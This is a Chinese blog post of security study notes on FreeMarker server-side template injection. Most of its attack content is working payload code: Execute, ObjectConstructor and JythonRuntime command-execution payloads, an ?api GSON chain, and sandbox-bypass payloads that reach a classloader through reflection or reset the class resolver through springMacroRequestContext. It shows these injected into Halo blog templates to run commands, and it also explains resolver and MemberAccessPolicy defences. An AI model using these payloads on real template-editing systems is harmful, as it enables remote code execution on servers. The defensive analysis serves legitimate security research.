首页 > 其他分享 >freemarker模版注入

freemarker模版注入

时间:2023-04-17 17:44:30浏览次数:53  
标签:freemarker MemberAccessPolicy 模版 配置 2.3 沙箱 payload 注入

把一些没公开的学习笔记陆续公开,就当备份了

漏洞挖掘时freemarker模版注入位置一般出现在模板编辑处

freemarker通用payload

<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}

漏洞原理是使用了freemarker内置函数?new,可以用来创建一个实现freemarker.template.TemplateModel 类的对象

该payload触发位置在freemarker.template.utility.Execute中exec方法

调用栈如下

exec:80, Execute (freemarker.template.utility)
_eval:65, MethodCall (freemarker.core)
eval:81, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:96, DollarVariable (freemarker.core)
accept:59, DollarVariable (freemarker.core)
visit:327, Environment (freemarker.core)
visit:333, Environment (freemarker.core)
process:306, Environment (freemarker.core)
process:386, Template (freemarker.template)
test:58, FreemarkerController (com.spring.controller)

其他poc1

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

其他poc2

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

以上两个payload和通用payload是类似的原理

当freemarker存在编辑模板功能时,为了防止模板注入,通常的防御手段为

使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数

  • UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类。
  • SAFER_RESOLVER:禁止加载ObjectConstructorExecutefreemarker.template.utility.JythonRuntime这三个类
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

举例两个存在模板注入的系统修复方式:

Halo博客系统

https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c

craftercms

https://github.com/craftercms/engine/commit/2e249287412eca92828988b83b280921fe3332df

以上两种不同写法均为配置NewBuiltinClassResolver为SAFER_RESOLVER

使用该配置后再用上述payload攻击会有如下报错

除了?new之外freemarker中还能用来攻击的内置函数是?api, 但api内建函数并不能随意使用,其必须在配置项api_builtin_enabledtrue时才有效,而该配置在2.3.22版本之后默认为false

使用?api攻击载荷执行rce

这里的object是一个BeanWrapper,它是模板自带的数据模型之一

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

默认配置下将得到如图报错

freemarker沙箱绕过

在中文互联网上搜索freemaker模版注入内容绝大部分只有前文内容,但实际上根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf 可以发掘两个在2.3.30以下绕过沙箱的payload

1.绕过class.getClassloader反射加载Execute类
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

这个payload主要是使用java.security.protectionDomain的getClassLoader方法来获得类加载器再一步一步反射调用Execute类

payload需要在数据模型中找到一个作为对象的变量

halo1.2.0举例,其freemarker版本为2.3.29,并配置了NewBuiltinClassResolve ,编辑links.ftl

<@linkTag method="list">
                            <#if links?? && links?size gt 0>
                                <#list links as link>
                                    <p>
                         <#assign classloader=link.class.protectionDomain.classLoader>
										     <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
											   <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
											   <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
											   ${dwf.newInstance(ec,null)("id")}

                                        <a href="${link.url}" target="_blank" rel="external">${link.name}</a>
                                        <#if link.description!=''>
                                            – ${link.description}
                                        </#if>
                                    </p>
                                </#list>
                            </#if>
 </@linkTag>

在原来代码中的

便签后插入payload,替换payload中的<<object>>link

访问links即可攻击成功

2.如果Spring Beans可用,可以直接禁用沙箱

payload同样可用于halo 1.2.0版本

这个payload需要freemarker+spring并设置 setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

payload如下

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

据Pwntester议题所说freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱,绕过沙箱的payload不可再使用

各种搜索后并没有找到该沙箱如何配置,下载halo1.4.7发现使用freemarker 2.3.31,并已经去掉了上次fix issue的配置内容,导致我以为MemberAccessPolicy无需配置,但发现使用<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}这个最初的payload就可以直接攻击该版本

经过各种搜索,终于在JetBrains YouTrackCVE-2021-25770的修复中发现了一处对MemberAccessPolicy接口的使用

存在StrictMemberAccessPolicy类实现MemberAccessPolicy接口

EntityExtendedBeansWrapper中使用setMemberAccessPolicy(new StrictMemberAccessPolicy())来配置MemberAccessPolicy

因为youtrack用了自定义类实现MemberAccessPolicy来修复ssti漏洞,让我误以为MemberAccessPolicy确实需要手动实现并配置

halo 1.5.4测试

对halo1.5.4的测试让我意识到2.3.30以上不用自定义类实现MemberAccessPolicy,其默认使用DefaultMemberAccessPolicy,但必须同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击

测试过程如下

1.首先使用绕过沙箱的payload,发现执行不成功,原因是<<object>>.class.protectionDomain.classLoader无法取到值

<<object>>.class.protectionDomain可以读到值

再次分析其在2.3.30以上引入的memberAccessPolicy策略

发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件

查看DefaultMemberAccessPolicy-rules,可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

根据spring4shell的思路尝试使用<<object>>.class.module.classLoader绕过,发现也不行

查看rule可以看到java.lang.Class.getModule同样被disallowed,而getProtectionDomain,getName等等则是可以访问的

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法

2.使用禁用沙箱payload,发现报错无法取到springMacroRequestContext值

halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱

修改为true,发现依然可以执行禁用沙箱payload

编辑archive.ftl,添加payload

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

得出结论,如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击。即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令

除此之外,pwntester给的文档里面还提到了其他可以利用的trick

freemarker staticModels

Apache Camel

这些payload和springMacroRequestContext一样均需要项目作出相应的配置

因此按照freemarker在关于MemberAccessPolicy策略的文档说,如果不完全信任编辑模版的用户,WhitelistMemberAccessPolicy是唯一安全的配置

标签:freemarker,MemberAccessPolicy,模版,配置,2.3,沙箱,payload,注入
From: https://www.cnblogs.com/escape-w/p/17326592.html

相关文章

  • 网络安全与Kali Linux:Sqlmap数据库注入与渗透环境搭建
    一、背景介绍DVWA(DamnVulnerableWebApp)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好的理解Web应用安全防范的过程。DVWA一共包含十个模块分别是:1.BruceForce//暴力破解1.CommandInjection//命令......
  • Win32API之实现远程线程注入(九)
    什么是注入注入是一种在不知情或未经许可的情况下向其他进程中注入模块并试图执行它们的技术常见的注入方式有:远程线程注入、APC注入、消息钩子注入、注册表注入、导入表注入、输入法注入等等什么是远程线程注入远程线程注入是一种技术,可以将一个动态链接库(DLL)注入到另一个进......
  • [转]服务端技术方案模版
    来源:服务端技术方案应该具有哪些章节1需求分析1.1需求文档本章节记录需求文档地址1.2需求背景当前业务现状本次需求内容本次需求目标2概要设计2.1领域划分本章节使用四色分析法划分领域2.2系统功能本章节使用用例图描述系统功能3详细设计3.1流程视图3.1.......
  • 关于Spring依赖注入一些理解和总结
    平常的java开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,spring提出了依赖注入的思想,即依赖类不由程序员实例化,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依......
  • django渲染模版时比实际少了8小时?
    这是因为django的时间是UTC时间.我们通过改配置文件将其改成本地时间修改配置文件#将时间从UTC转化成当前时间TIME_ZONE='Asia/Shanghai'#USE_TZ=Truehtml页面上面渲染<td>{{foo.create_datetime|date:"Y-m-dH:i:s"}}</td>......
  • 故障注入的方法与工具
    ​可靠性是评估软件质量的重要属性,关键安全系统(SafetyCriticalSystems,SCS)对可靠性的要求尤为严格,因其一旦失效,将可能对生命、财产或环境造成重大损害。以汽车为例,ISO26262中ASILD要求相关系统失效率低于10Fit(Failureintime),即每千件产品在10∧9小时内的故障数需低于10件。测......
  • SQL注入攻击及防御
    SQL注入攻击及防御1.项目实验环境目标靶机OWASP_Broken_Web_App_VM_1.2:https://sourceforge.net/projects/owaspbwa/files/latest/download测试渗透机:Kali-Linux-VM-amd64https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z2.SQL注入危害1、拖库......
  • FreeMarker_web.xml
    freemarker的解析,实际上就是一个专用的servlet,你需要在web.xml中配置<?xmlversion="1.0"encoding="UTF-8"?><web-appversion="2.4"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-in......
  • WPF 使用依赖注入
    修改App.xaml.cs重新OnStartup和OnExit方法并使用Host启动解析appsettings.json配置文件在App.xaml中删除StartUri属性,否则会启动多个MainWindow包引用信息如下:Microsoft.Extensions.ConfigurationMicrosoft.Extensions.Configuration.JsonMicrosoft.Extensions.Depende......
  • 本程序采用matlab编写,主要是实现电流注入型牛拉法 除此之外
    本程序采用matlab编写,主要是实现电流注入型牛拉法除此之外,本人还编写了很多种关于潮流计算的程序,主要有牛拉法,前推回代法,以还有相和三相潮流计算程序ID:7230641108921290......